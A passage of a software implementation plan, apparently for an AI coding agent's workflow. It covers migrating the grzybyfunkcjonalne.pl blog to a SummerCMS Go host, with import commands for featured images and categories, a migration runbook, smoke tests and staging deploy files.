- "D-21: grzyby:import-categories fills each Journal category's name, description and rich content field from a PHP database query, preferring the pl translation, and the category pages then render that content."
|
||||
- "D-25: scripts/migrate.sh runs migrate, then makes pl the only default locale and asserts it, then imports the journal export exactly once into a fresh database and refuses a database that already holds posts."
|
||||
- "D-17: the runbook imports posts with journal:import-posts from the PHP journal export, copies storage/app/media and the featured images, and reports gaps instead of patching them (two UAT-host image references stay broken and are listed)."
|
||||
- "D-07/D-10: deploy files run two supervisor programs (Go on 127.0.0.1:8096, Nuxt on 127.0.0.1:3016) behind one staging nginx vhost on the PHP server; nginx sends /gfadmin and /_journal to Go, image files under /storage/app/{uploads/public,media} to disk with nosniff, and everything else to Nuxt."
|
||||
- "D-15/D-18: scripts/urls.txt lists every URL in the live sitemap plus the static and negative cases, and scripts/smoke.sh checks each one either against a local rehearsal (Go + Nuxt + imported posts) or against a base URL."
|
||||
- "D-14/Phase 15 D-14: no new Go HTTP endpoint is added; the app plugin only adds console commands."
|
||||
- "D-15: /autor/<slug> keeps resolving by assigning the imported posts to a named admin author through migrate.sh (--author-login, --author-slug)."
|
||||
- "Pitfall 2 is documented: imported posts must not be re-saved in /gfadmin until the Journal HTML-content follow-up lands (todo recorded)."
|
||||
artifacts:
|
||||
- path: "../sm-grzybyfunkcjonalne-app/config/backend.yaml"
|
||||
provides: "admin mount path"
|
||||
contains: "uri: /gfadmin"
|
||||
- path: "../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_featured_images.go"
|
||||
provides: "grzyby:import-featured-images and ImportFeaturedImages core"
|
||||
contains: "grzyby:import-featured-images"
|
||||
- path: "../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_categories.go"
|
||||
provides: "grzyby:import-categories and ImportCategories core"
|
||||
contains: "grzyby:import-categories"
|
||||
- path: "../sm-grzybyfunkcjonalne-app/scripts/migrate.sh"
|
||||
provides: "ordered runbook: migrate, pl default, import once, categories, media, featured images, author"
|
||||
contains: "is_default"
|
||||
- path: "../sm-grzybyfunkcjonalne-app/scripts/smoke.sh"
|
||||
provides: "local rehearsal on a throwaway database or --url checks over urls.txt"
|
||||
contains: "urls.txt"
|
||||
- path: "../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf"
|
||||
provides: "staging vhost with Go/Nuxt/disk routing"
|
||||
contains: "nosniff"
|
||||
- path: "../sm-grzybyfunkcjonalne-app/scripts/urls.txt"
|
||||
provides: "every live sitemap URL plus static and negative cases"
|
||||
contains: "/blog/blogbadania-nad-cordycepsem"
|
||||
key_links:
|
||||
- from: "../sm-grzybyfunkcjonalne-app/summer.yaml"
|
||||
to: "../sm-grzybyfunkcjonalne-app/plugins/grzyby/plugin.go"
|
||||
via: "plugin golem15.grzyby registered by summer plugin:add; summer build regenerates plugins.gen.go"
|
||||
pattern: "golem15.grzyby"
|
||||
- from: "../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_featured_images.go"
|
||||
to: "summercms.go/modules/lagoon/attach (BlobKey, File)"
|
||||
via: "blob key PartitionDirectory(disk_name)+disk_name; system_files row with attachment_type Golem15\\Journal\\Models\\Post and field featured_images"
|
||||
pattern: "attach.BlobKey"
|
||||
- from: "../sm-grzybyfunkcjonalne-app/scripts/migrate.sh"
|
||||
to: "golem15_translate_locales"
|
||||
via: "UPDATE ... SET is_default = (code = 'pl') before journal:import-posts"
|
||||
pattern: "code = 'pl'"
|
||||
- from: "../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf"
|
||||
to: "127.0.0.1:8096 and 127.0.0.1:3016"
|
||||
via: "proxy_pass with Host and X-Forwarded-For"
|
||||
pattern: "proxy_add_x_forwarded_for"
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (verbatim, not in user-story format): grzybyfunkcjonalne.pl runs on SummerCMS with a new blog views layer that other Golem15 blogs can reuse, instead of a one-off theme.
|
||||
|
||||
MVP_MODE note: no user story is invented; run `/msd-mvp-phase 16` to reframe the Goal line if wanted.
|
||||
|
||||
This plan's slice: on a throwaway database the Go host migrates, imports the PHP journal export with pl as default, attaches a featured image under its Winter disk name and serves it through the Journal API with the admin at /gfadmin; then the runbook, deploy files and a URL-by-URL rehearsal of the whole site grow from that path.
|
||||
|
||||
<objective>
|
||||
Turn `sm-grzybyfunkcjonalne-app` into the deployable host: admin at /gfadmin (D-09), an app-local plugin with the featured-image (D-22) and category-content (D-21) commands, the ordered migration runbook (D-25, D-17), two-process deploy files for staging next to the PHP site (D-07, D-10), and `urls.txt` plus `smoke.sh` that rehearse every old URL locally (D-15, D-18).
|
||||
|
||||
Purpose: SC-1 (served by the SummerCMS binary) and the URL half of SC-3.
|
||||
Output: host config, plugin `golem15.grzyby`, scripts, deploy configs and README, verified by a local rehearsal.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-PATTERNS.md
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-01-SUMMARY.md
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-02-SUMMARY.md
|
||||
@../sm-grzybyfunkcjonalne-app/boot_test.go
|
||||
@../sm-grzybyfunkcjonalne-app/summer.yaml
|
||||
@../sm-grzybyfunkcjonalne-app/config/backend.yaml
|
||||
@../sm-grzybyfunkcjonalne-app/config/storage.yaml
|
||||
@../sm-grzybyfunkcjonalne-app/config/http.yaml
|
||||
@../sm-journal-plugin/console/import_posts.go
|
||||
@../sm-journal-plugin/console/export_posts.go
|
||||
@../sm-summercmsio-app/scripts/smoke.sh
|
||||
@../sm-summercmsio-app/scripts/check-deploy.sh
|
||||
@../sm-summercmsio-app/scripts/build.sh
|
||||
@../sm-summercmsio-app/deploy/nginx/summercms.io.conf
|
||||
@../sm-summercmsio-app/deploy/supervisor/summercms-io.conf
|
||||
@../sm-summercmsio-app/deploy/env.example
|
||||
|
||||
<interfaces>
|
||||
Framework and plugin APIs this plan calls (read from source, do not re-derive):
|
||||
- summer CLI (summercms.go/cmd/summer): `make:plugin <vendor.plugin>` scaffolds plugins/<name> as module <app module>/plugins/<name> with plugin.go and go.mod; `plugin:add <dir>` registers a local plugin module in summer.yaml, go.work and the app go.mod; `build` regenerates main.go and plugins.gen.go (never hand-edit those two files).
|
||||
- bonfire.Command { Name, Description, Flags []bonfire.Flag{ Name, Description, Bare }, Run func(ctx, bonfire.Input, bonfire.Output) error }; in.Flag(name) (string, bool); out.Info, out.Warning, out.Error.
|
||||
- pact.HasCommands: Commands() []bonfire.Command (main.go appends them); party.Register(&Plugin{}) in init; Plugin has ID(), Requires(), Register(*backpack.App), Boot(*backpack.App).
|
||||
- app.Lookup[*gorm.DB]() and app.Lookup[*blob.Bucket]() (gocloud.dev/blob); attach.OpenBucket(ctx, app.Config) opens the configured bucket (config/storage.yaml uploads.bucket_url file://./storage/app/uploads/public).
|
||||
- attach.PartitionDirectory(diskName), attach.BlobKey(diskName) = PartitionDirectory(diskName)+diskName, attach.File { DiskName, FileName, FileSize, ContentType, Field, AttachmentID string, AttachmentType, IsPublic *bool, SortOrder } on table system_files; f.URL() gives /storage/app/uploads/public/<partition>/<disk_name>.
|
||||
- Journal: models.Post (golem15_journal_posts, slug host column, MorphName Golem15\Journal\Models\Post), models.Category (golem15_journal_categories, name, slug, description, plus the D-21 field named in the 16-01 Prerequisite contract); journal:import-posts --path DIR [--dry-run] [--force].
|
||||
- cabana backend.uri: one or more lowercase path segments; boot fails on an invalid value; env override SUMMER_BACKEND__URI.
|
||||
- Translate: golem15_translate_locales (code, is_default, is_enabled); seeded default is en (Pitfall 1).
|
||||
</interfaces>
|
||||
</context>
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: the phase has no REQUIREMENTS.md IDs to probe, so no probe predicates are generated this run. ROADMAP SC-1..SC-4 and CONTEXT D-01..D-25 are the source of truth for must_haves.
|
||||
|
||||
## Artifacts this phase produces
|
||||
|
||||
- Config key value `backend.uri: /gfadmin` (`config/backend.yaml`).
|
||||
- App-local plugin `golem15.grzyby` at `plugins/grzyby` (module `git.golem15.com/golem15/sm-grzybyfunkcjonalne-app/plugins/grzyby`, package `grzyby`, `Requires()` = `golem15.journal`, implements `pact.HasCommands`), listed in `summer.yaml`, `go.work` and the host `go.mod`.
|
||||
- CLI commands `grzyby:import-featured-images --map <jsonl> --source <dir> [--export <dir>] [--dry-run]` and `grzyby:import-categories --map <jsonl> [--dry-run]`.
|
||||
- Go symbols in `plugins/grzyby/console`: `FeaturedImageEntry`, `FeaturedImageOptions`, `FeaturedImageStats`, `ReadFeaturedImageMap`, `ImportFeaturedImages`, `ImportFeaturedImagesCommand`; `CategoryEntry`, `CategoryStats`, `ReadCategoryMap`, `ImportCategories`, `ImportCategoriesCommand`; helpers `flagOrDefault`, `flagOn`, `lookupDB`, `lookupBucket`, `validDiskName`.
|
||||
- Scripts `scripts/migrate.sh` (flags `--bin`, `--workdir`, `--export`, `--featured-map`, `--uploads`, `--categories-map`, `--media`, `--author-login`, `--author-slug`, `--dry-run`), `scripts/smoke.sh` (local rehearsal; `--go-only`; `--url <base>`; env `SMOKE_ADMIN_DSN`, `SMOKE_EXPORT_DIR`, `SMOKE_GO_PORT`, `SMOKE_NUXT_PORT`), `scripts/build.sh`, `scripts/check-deploy.sh`, `scripts/urls.txt` (grammar `[remote] STATUS PATH [contains=…] [notcontains=…] [type=…]`), `scripts/php-export/{featured-images.sql,categories.sql,README.md}`.
|
||||
- Deploy files `deploy/nginx/grzybyfunkcjonalne-staging.conf`, `deploy/supervisor/grzybyfunkcjonalne-go.conf` (`[program:grzybyfunkcjonalne-go]`), `deploy/supervisor/grzybyfunkcjonalne-nuxt.conf` (`[program:grzybyfunkcjonalne-nuxt]`), `deploy/env.example` (adds `SUMMER_URL`), `deploy/nuxt.env.example` (`NUXT_JOURNAL_API_BASE`, `NUXT_SITE_URL`, `NUXT_SITE_INDEXABLE`, `NUXT_PUBLIC_GA_ID`, `NITRO_HOST`, `NITRO_PORT`).
|
||||
- Host `README.md`; `.gitignore` entry `/build/`; todo `.planning/todos/pending/journal-imported-html-admin-resave.md`.
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 1: Tracer — /gfadmin, plugin golem15.grzyby and grzyby:import-featured-images serve one imported post with its Winter-named featured image</name>
|
||||
<precondition>SMOKE_ADMIN_DSN is set to a Postgres >= 15 maintenance-database DSN for a role with CREATEDB and ICU support (psql "$SMOKE_ADMIN_DSN" -c 'select 1' exits 0), or `docker info` exits 0; and /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export holds the PHP export JSON files.</precondition>
|
||||
<files>../sm-grzybyfunkcjonalne-app/config/backend.yaml, ../sm-grzybyfunkcjonalne-app/boot_test.go, ../sm-grzybyfunkcjonalne-app/summer.yaml, ../sm-grzybyfunkcjonalne-app/go.work, ../sm-grzybyfunkcjonalne-app/go.mod, ../sm-grzybyfunkcjonalne-app/go.sum, ../sm-grzybyfunkcjonalne-app/main.go, ../sm-grzybyfunkcjonalne-app/plugins.gen.go, ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/go.mod, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/go.sum, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/plugin.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/helpers.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_featured_images.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/testdata/featured/map.jsonl, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/testdata/featured/uploads/665/f1e/2a3/665f1e2a3b4c5d6e7f8091.png, ../sm-grzybyfunkcjonalne-app/scripts/migrate.sh, ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh</files>
|
||||
<read_first>.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md (D-09, D-17, D-22, D-25), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md (Journal Export vs Importer table, Featured images option a, Pitfalls 1, 3, 6, 7, Migration runbook), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-PATTERNS.md (config/backend.yaml, app-local plugin + import_featured_images.go, smoke.sh), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-01-SUMMARY.md (Prerequisite contract), ../sm-grzybyfunkcjonalne-app/boot_test.go, ../sm-grzybyfunkcjonalne-app/config/backend.yaml, ../sm-grzybyfunkcjonalne-app/config/storage.yaml, ../sm-journal-plugin/console/import_posts.go, ../sm-journal-plugin/console/export_posts.go (mustDB, flagOrDefault, flagOn), ../sm-journal-plugin/plugin.go (Commands), ../sm-summercmsio-app/plugins/golem15/summercms/plugin.go, ../summercms.go/modules/lagoon/attach/file.go, ../summercms.go/modules/lagoon/attach/thumb.go, ../summercms.go/modules/lagoon/attach/bucket.go, ../summercms.go/modules/cabana/prefix.go, ../summercms.go/internal/build/scaffold.go, ../sm-summercmsio-app/scripts/smoke.sh</read_first>
|
||||
<action>Journal gitlink: compare `git -C ../sm-grzybyfunkcjonalne-app ls-files -s plugins/golem15/journal` with the sibling ../sm-journal-plugin HEAD that carries the D-20/D-21 commits recorded in 16-01; when the host gitlink is older, fetch into the nested clone with git -c protocol.file.allow=always fetch file://<absolute ../sm-journal-plugin> and check out that commit, then commit the gitlink alone in the host (chore: point journal gitlink at author endpoint and category content) — Phase 15 nested-clone precedent.
|
||||
|
||||
config/backend.yaml: change the mount to uri: /gfadmin and update its comment (D-09: the site keeps the admin on its own domain; the old /backend path is intentionally gone). Commit (feat: mount the admin at /gfadmin).
|
||||
|
||||
Plugin: install the summer CLI from the framework checkout into a temp GOBIN (GOBIN=<tmp> go -C ../summercms.go install ./cmd/summer), then from the host root run summer make:plugin golem15.grzyby (creates plugins/grzyby) and summer plugin:add plugins/grzyby (summer.yaml, go.work, host go.mod), then summer build (regenerates main.go and plugins.gen.go; never edit them by hand). plugin.go: package grzyby, ID golem15.grzyby, Requires() returns golem15.journal, Register stores *backpack.App, Boot returns nil, var _ pact.HasCommands = (*Plugin)(nil), Commands() returns ImportFeaturedImagesCommand(p.app) (Task 2 adds the category command), init calls party.Register(&Plugin{}). No routes, no admin controllers, no migrations: the plugin adds no HTTP endpoint (Phase 15 D-14 contract unchanged).
|
||||
|
||||
console/helpers.go: flagOrDefault, flagOn, lookupDB (app.Lookup[*gorm.DB]), lookupBucket (app.Lookup[*blob.Bucket], else attach.OpenBucket(ctx, app.Config)), validDiskName (^[A-Za-z0-9]+\.[A-Za-z0-9]+$, so no separators or dot-dot).
|
||||
|
||||
console/import_featured_images.go (D-22, shaped like journal ImportPosts): FeaturedImageEntry { Slug slug, DiskName disk_name, FileName file_name, ContentType content_type, FileSize file_size, SortOrder sort_order } with those JSON keys; ReadFeaturedImageMap(path) reads JSON Lines (one object per line, blank lines skipped, errors name the line number); FeaturedImageOptions { MapPath, SourceDir, ExportDir, DryRun }; FeaturedImageStats { Created, Skipped, Failed }; ImportFeaturedImages(ctx, db *gorm.DB, bucket *blob.Bucket, opts, out bonfire.Output) (FeaturedImageStats, error). Per entry: reject a disk name failing validDiskName or a content type outside image/jpeg, image/png, image/gif, image/webp (Failed, continue); resolve the source file as SourceDir joined with attach.PartitionDirectory(disk_name) and disk_name and refuse it unless filepath.Rel from SourceDir stays inside; find the post by host slug = entry.slug; when no post matches and ExportDir is set, read <ExportDir>/<slug>.json and retry with translations.pl.slug (base-to-live slug, RESEARCH: live URLs use the pl slug); a miss is Failed with "post not found: <slug>". Skipped when a system_files row already exists with attachment_type = models.Post{}.MorphName(), attachment_id = the post id as a decimal string, field featured_images and the same disk_name, and the blob attach.BlobKey(disk_name) exists. Otherwise (unless DryRun) write the blob under attach.BlobKey(disk_name) with the entry content type (bucket.WriteAll), then insert attach.File { DiskName, FileName, FileSize, ContentType, Field featured_images, AttachmentID, AttachmentType, SortOrder, IsPublic nil } — Created. Fatal DB errors return; per-entry problems print out.Error and count Failed. ImportFeaturedImagesCommand(app) is bonfire command grzyby:import-featured-images with flags map, source, export and the bare flag dry-run; map and source are required; it prints "Results: N created, N skipped, N failed".
|
||||
|
||||
testdata/featured: a valid 1×1 PNG at uploads/665/f1e/2a3/665f1e2a3b4c5d6e7f8091.png and map.jsonl with one line for slug badania-nad-cordycepsem (the base slug, so the export fallback is exercised) with that disk_name, file_name cordyceps.png, content_type image/png, the real byte size, sort_order 0.
|
||||
|
||||
boot_test.go: four plugins now; the migrations loop checks only golem15.user, golem15.translate and golem15.journal (the app plugin has none); assert some assembled route Pattern starts with /gfadmin/ and none starts with /backend; assert the golem15.grzyby plugin implements pact.HasCommands and lists grzyby:import-featured-images; keep every existing assertion.
|
||||
|
||||
scripts/migrate.sh (D-25 ordered runbook; summercms.io script conventions: usage header, set -euo pipefail, die to stderr, tool loop): flags --bin, --workdir (holds config/ and .env), --export, --featured-map with --uploads, --dry-run. Steps in order: (1) bin migrate in the workdir; (2) read SUMMER_DATABASE__DSN from <workdir>/.env and refuse with "migrate: database already holds journal posts; import must run once into a fresh database (Pitfall 3)" when SELECT count(*) FROM golem15_journal_posts is not 0; (3) psql UPDATE golem15_translate_locales SET is_default = (code = 'pl') and die unless SELECT code FROM golem15_translate_locales WHERE is_default AND is_enabled returns exactly pl (Pitfall 1); (4) journal:import-posts --path EXPORT --dry-run, then without --dry-run; (5) when --featured-map is given, grzyby:import-featured-images --map … --source <uploads> --export EXPORT; print "migrate: ok". With --dry-run only steps that write nothing run.
|
||||
|
||||
scripts/smoke.sh (this task builds the --go-only path; Task 3 adds Nuxt and urls.txt): require bin/grzybyfunkcjonalne (build it in this task with go -C ../sm-grzybyfunkcjonalne-app build -o bin/grzybyfunkcjonalne .); database: when SMOKE_ADMIN_DSN is set, create grzyby_smoke_<random hex> with TEMPLATE template0 ENCODING 'UTF8' LOCALE_PROVIDER icu ICU_LOCALE 'pl-PL' and drop only that database on exit; else docker postgres:15 like summercms.io; it never touches any other database name. Work dir with config/ copied and a .env of random secrets plus SUMMER_URL=http://127.0.0.1:<go port>; run migrate.sh with --export "${SMOKE_EXPORT_DIR:-/media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export}" and the testdata featured map; serve Go on SMOKE_GO_PORT (default 18096, refuse a busy port); check: GET /_journal/api/v1/posts?per_page=1 meta.total equals the number of published export files, GET /_journal/api/v1/posts/blogbadania-nad-cordycepsem answers 200 with featured_image_url /storage/app/uploads/public/665/f1e/2a3/665f1e2a3b4c5d6e7f8091.png and that file exists under the work dir storage, GET /_journal/api/v1/posts/badania-nad-cordycepsem answers 404, GET /gfadmin answers a non-404 status, GET /backend answers 404; a second grzyby:import-featured-images run prints 0 created; print "smoke: ok (go)".
|
||||
|
||||
Commits: plugin and boot test (feat: app plugin golem15.grzyby with featured-image import), scripts (feat: migration runbook and Go rehearsal). go vet and go test stay green at each.</action>
|
||||
<verify>
|
||||
<automated>go -C ../sm-grzybyfunkcjonalne-app vet ./... && go -C ../sm-grzybyfunkcjonalne-app test ./... -count=1 -v -run '^(TestBootUserTranslateJournal|TestCORS)$' && go -C ../sm-grzybyfunkcjonalne-app/plugins/grzyby vet ./... && go -C ../sm-grzybyfunkcjonalne-app build -o bin/grzybyfunkcjonalne . && bash ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh --go-only</automated>
|
||||
<fails_when>Non-zero exit; output contains "--- FAIL", "smoke:" followed by an error, or "migrate:" followed by an error; the lines "--- PASS: TestBootUserTranslateJournal" or "smoke: ok (go)" are absent.</fails_when>
|
||||
<automated>! grep -q 'uri: /backend' ../sm-grzybyfunkcjonalne-app/config/backend.yaml</automated>
|
||||
<fails_when>Exit status 1: config/backend.yaml still mounts the admin at the old path.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- config/backend.yaml contains `uri: /gfadmin`; the boot test asserts a /gfadmin/ route and no /backend route.
|
||||
- summer.yaml lists golem15.grzyby and plugins.gen.go imports git.golem15.com/golem15/sm-grzybyfunkcjonalne-app/plugins/grzyby, both produced by summer, not hand-edited.
|
||||
- On the rehearsal database the post blogbadania-nad-cordycepsem answers 200 with featured_image_url /storage/app/uploads/public/665/f1e/2a3/665f1e2a3b4c5d6e7f8091.png and the file exists at that path under the work dir; the base slug answers 404.
|
||||
- The second featured-image run reports 0 created (idempotent, D-22).
|
||||
- pl is the only default locale before the import ran (migrate.sh dies otherwise).
|
||||
- The host journal gitlink points at a commit containing the D-20 and D-21 additions.
|
||||
</acceptance_criteria>
|
||||
<done>An imported post with its Winter-named featured image is served by the Go host from a scripted, ordered migration, with the admin at /gfadmin.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto">
|
||||
<name>Task 2: Category content import, the rest of the runbook (categories, media, author) and the PHP export queries</name>
|
||||
<files>../sm-grzybyfunkcjonalne-app/plugins/grzyby/plugin.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_categories.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/testdata/categories/map.jsonl, ../sm-grzybyfunkcjonalne-app/scripts/migrate.sh, ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh, ../sm-grzybyfunkcjonalne-app/boot_test.go, ../sm-grzybyfunkcjonalne-app/scripts/php-export/featured-images.sql, ../sm-grzybyfunkcjonalne-app/scripts/php-export/categories.sql, ../sm-grzybyfunkcjonalne-app/scripts/php-export/README.md, .planning/todos/pending/journal-imported-html-admin-resave.md</files>
|
||||
<read_first>../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_featured_images.go, ../sm-grzybyfunkcjonalne-app/scripts/migrate.sh, ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh, .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md (D-15, D-17, D-20, D-21), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md (Journal Export vs Importer: categories, authors, inline media refs; Pitfall 2; Open Questions 1 and 3; Content Inventory: category pillar content), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-01-SUMMARY.md (Prerequisite contract: D-21 field name, D-20 author slug storage), ../sm-journal-plugin/models/category.go, ../sm-journal-plugin/updates/202610060007_add_author_slug_to_backend_users.go, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/sources/gf_old.sql (category rows, for the query shape only), .planning/todos/pending/menu-plugin-port.md (todo file format)</read_first>
|
||||
<action>console/import_categories.go (D-21): CategoryEntry { Slug slug, Name name, Description description (nullable), Content content (nullable), Translations translations map[locale]map[field]string } with those JSON keys; ReadCategoryMap(path) reads JSON Lines like the featured map; CategoryStats { Updated, Unchanged, Failed }; ImportCategories(ctx, db, entries, dryRun, out). For each entry take the pl translation value of slug, name, description and content when present and non-empty, else the base value (pl is the default locale after D-25, so host columns hold pl). Find the category by host slug (pl slug, then base slug); a miss is Failed with "category not found: <slug>" (journal:import-posts already created every category a post references, drafts included, so all seven exist). Update name, description and the D-21 content field (the Go field and column named in the 16-01 Prerequisite contract) in one UPDATE; identical values count Unchanged. ImportCategoriesCommand(app) is grzyby:import-categories with flag map (required) and bare dry-run, printing "Results: N updated, N unchanged, N failed". Register it in Plugin.Commands() and extend the boot test to expect both command names. testdata/categories/map.jsonl: one line for cordyceps with a pl name, a description and content containing the marker text Cordyceps w pigułce.
|
||||
|
||||
migrate.sh gains, in this order after the post import: --categories-map runs grzyby:import-categories; --media <php storage/app/media dir> rsyncs it to <workdir>/storage/app/media/ (images and files as they are; Artur Wolak.png and las.webp are referenced by 32 post bodies); --featured-map (Task 1); --author-login with --author-slug (D-15 /autor/<slug>, D-20): psql sets the author slug column recorded in the 16-01 contract (assumed backend_users.golem15_bloghub_author_slug) for that login and sets user_id on every golem15_journal_posts row whose user_id is NULL, dying when the login does not exist. Finally it prints a gap report (D-17: flag, do not patch): the count of post bodies still referencing https://gf.uat.golem15.com/storage/ (2 known broken references), and the count of published posts without a featured image.
|
||||
|
||||
smoke.sh --go-only additionally runs --categories-map with the testdata map and checks that GET /_journal/api/v1/categories?include_empty=1 returns cordyceps with the content marker and that amanita-muscaria is present with post_count 0 (D-24).
|
||||
|
||||
scripts/php-export (run on the PHP server, D-22 "SQL query on the PHP database"): featured-images.sql selects one JSON_OBJECT per row (slug, disk_name, file_name, content_type, file_size, sort_order) from system_files where field = 'featured_images' joined to the posts table; the slug is the pl slug from the translate index table when one exists, else the base slug; comments at the top name the two values to check on the server before running (RESEARCH Open Question 3): the post model morph (Golem15\\Journal\\Models\\Post or Golem15\\Blog\\Models\\Post with its table) and the translate tables (winter_translate_* or rainlab_translate_*). categories.sql selects one JSON_OBJECT per category (slug, name, description, content, translations: { pl: the pl attribute_data JSON }). README.md: run each with mysql -N -B --raw <database> < file > out.jsonl (JSON_OBJECT needs MySQL 5.7.8+ or MariaDB 10.2.3+; one object per line, which is exactly the commands' JSONL input), how to copy the outputs and the uploads/media directories to the staging work dir, and that every map is read-only input (no secrets).
|
||||
|
||||
Todo .planning/todos/pending/journal-imported-html-admin-resave.md (summercms.go planning repo, separate docs commit): RESEARCH Pitfall 2 — imported pl content is HTML and an admin re-save of an imported post runs FormatHTML and replaces the body with a raw-HTML-omitted comment; until sm-journal-plugin converts or passes through HTML content, do not edit imported posts in /gfadmin. The host README (Task 3) repeats the warning.
|
||||
|
||||
Commits: plugin (feat: grzyby:import-categories for category content), scripts (feat: runbook categories, media and author steps; PHP export queries), and the todo in summercms.go (docs: todo for Journal HTML content re-save).</action>
|
||||
<verify>
|
||||
<automated>go -C ../sm-grzybyfunkcjonalne-app vet ./... && go -C ../sm-grzybyfunkcjonalne-app test ./... -count=1 -v -run '^(TestBootUserTranslateJournal)$' && go -C ../sm-grzybyfunkcjonalne-app/plugins/grzyby vet ./... && go -C ../sm-grzybyfunkcjonalne-app build -o bin/grzybyfunkcjonalne . && bash ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh --go-only</automated>
|
||||
<fails_when>Non-zero exit; output contains "--- FAIL" or "smoke:" followed by an error; "smoke: ok (go)" or "--- PASS: TestBootUserTranslateJournal" is absent.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- The rehearsal's categories response carries the Cordyceps w pigułce marker in the D-21 field for cordyceps and lists amanita-muscaria with post_count 0.
|
||||
- Re-running grzyby:import-categories with the same map reports 0 updated and 1 unchanged.
|
||||
- migrate.sh runs migrate, the pl default switch and its assertion, the post import, categories, media, featured images and author assignment in that order; `grep -n 'journal:import-posts' scripts/migrate.sh` appears after the line containing `code = 'pl'`.
|
||||
- featured-images.sql and categories.sql each emit one JSON_OBJECT per row, and the README states the server checks for the model morph and the translate table names.
|
||||
- The boot test expects both grzyby:import-featured-images and grzyby:import-categories.
|
||||
- The todo file exists under .planning/todos/pending/ and names Pitfall 2.
|
||||
</acceptance_criteria>
|
||||
<done>Category content, media, featured images and the /autor author are all covered by one ordered runbook with PHP-side export queries ready for the server.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto">
|
||||
<name>Task 3: Two-process deploy files, build script, urls.txt and the full local rehearsal over every old URL</name>
|
||||
<files>../sm-grzybyfunkcjonalne-app/scripts/build.sh, ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh, ../sm-grzybyfunkcjonalne-app/scripts/urls.txt, ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh, ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf, ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-go.conf, ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-nuxt.conf, ../sm-grzybyfunkcjonalne-app/deploy/env.example, ../sm-grzybyfunkcjonalne-app/deploy/nuxt.env.example, ../sm-grzybyfunkcjonalne-app/README.md, ../sm-grzybyfunkcjonalne-app/.gitignore</files>
|
||||
<read_first>../sm-grzybyfunkcjonalne-app/scripts/smoke.sh, ../sm-grzybyfunkcjonalne-app/scripts/migrate.sh, ../sm-summercmsio-app/scripts/build.sh, ../sm-summercmsio-app/scripts/check-deploy.sh, ../sm-summercmsio-app/deploy/nginx/summercms.io.conf, ../sm-summercmsio-app/deploy/supervisor/summercms-io.conf, ../sm-summercmsio-app/deploy/env.example, ../sm-summercmsio-app/README.md, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt, .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md (URL Inventory, Code Examples nginx and supervisor, Pitfalls 5, 6, 7, 12, Security Domain), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md (D-07, D-09, D-10, D-15, D-18, D-23)</read_first>
|
||||
